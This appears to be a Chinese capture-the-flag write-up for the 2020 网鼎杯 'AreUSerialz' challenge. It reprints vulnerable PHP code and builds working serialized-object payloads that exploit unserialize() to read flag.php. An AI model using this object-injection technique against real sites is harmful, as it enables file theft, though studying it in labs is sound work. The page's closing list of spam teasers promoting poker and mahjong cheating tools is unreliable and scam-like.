[网鼎杯 2020 青龙组]AreUSerialz1
创始人
2024-11-15 10:11:09
0

打开题目

熟悉的php,代码审计

可知这是一题反序列化类型的题目。

按照常规方法,首先,我们先将代码复制到本地进行序列化构造,

根据代码逻辑分析,咱们可知    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

_destruct()析构函数当对象被销毁时会被自动调用;所以当反序列化函数调用时,会触发这个

分析此方法内的代码逻辑,当我们需要它正确输出flag时此魔术方法调用后会接着正确调用此对象中的process()方法和output()方法,所以write()方法也可以删除不用看, protected $content属性也可直接删了。

include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    protected $op;
    protected $filename;
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {
        echo "[Result]:
";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
            $this->process();
    }
}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

根据构造函数is_valid($s) 可知,

$s的值ASCII码范围得在32<=$s<=125;

再根据构造函数read()可知,

$filename值基本为flag.php

根据上述信息,构造第一个序列化值得到:

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}

php将属性类型换成public

include("flag.php");
highlight_file(__FILE__);
class FileHandler {
    public $op=2;
    public $filename="flag.php";
}
 O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";

相关内容

热门资讯

在玩家背景下!wepoker亲... 在玩家背景下!wepoker亲友圈有用吗,丽水都莱辅助,步骤教程(有挂神器)1、丽水都莱辅助脚本辅助...
方法辅助挂!sohoopoke... 方法辅助挂!sohoopoker辅助,边锋辅助器,教材教程(有挂讲解)1、该软件可以轻松地帮助玩家将...
教程辅助挂!德州透视是真的吗,... 教程辅助挂!德州透视是真的吗,小程序蜀山西川血战辅助,指引教程(揭秘有挂)1、实时小程序蜀山西川血战...
随着!We poker辅助器下... 您好,广西友乐免费辅助使用视频这款游戏可以开挂的,确实是有挂的,需要了解加去威信【136704302...
最新消息!hhpoker辅助器... 最新消息!hhpoker辅助器,朋朋政和麻为什么一直输,学习教程(有挂详情)1)朋朋政和麻为什么一直...
现场直击!hhpoker免费辅... 现场直击!hhpoker免费辅助器,微乐小程序辅助开发透视,法子教程(有挂存在)1、进入到微乐小程序...
目前!wepoker辅助透视软... 目前!wepoker辅助透视软件,好友赣南新版本挂,经验教程(有挂方法)1、实时好友赣南新版本挂透视...
黑科技代打!aa poker辅... 黑科技代打!aa poker辅助包,途游游戏辅助脚本,总结教程(有挂方式)途游游戏辅助脚本脚本下载中...
黑科技辅助挂!pokemmo脚... 黑科技辅助挂!pokemmo脚本手机版,新畅游互娱辅助app,模板教程(有挂方法)1、每一步都需要思...
记者获悉!we-poker是什... 记者获悉!we-poker是什么软件,微乐江苏小程序游戏破解器下载,指南教程(有挂功能)1、让任何用...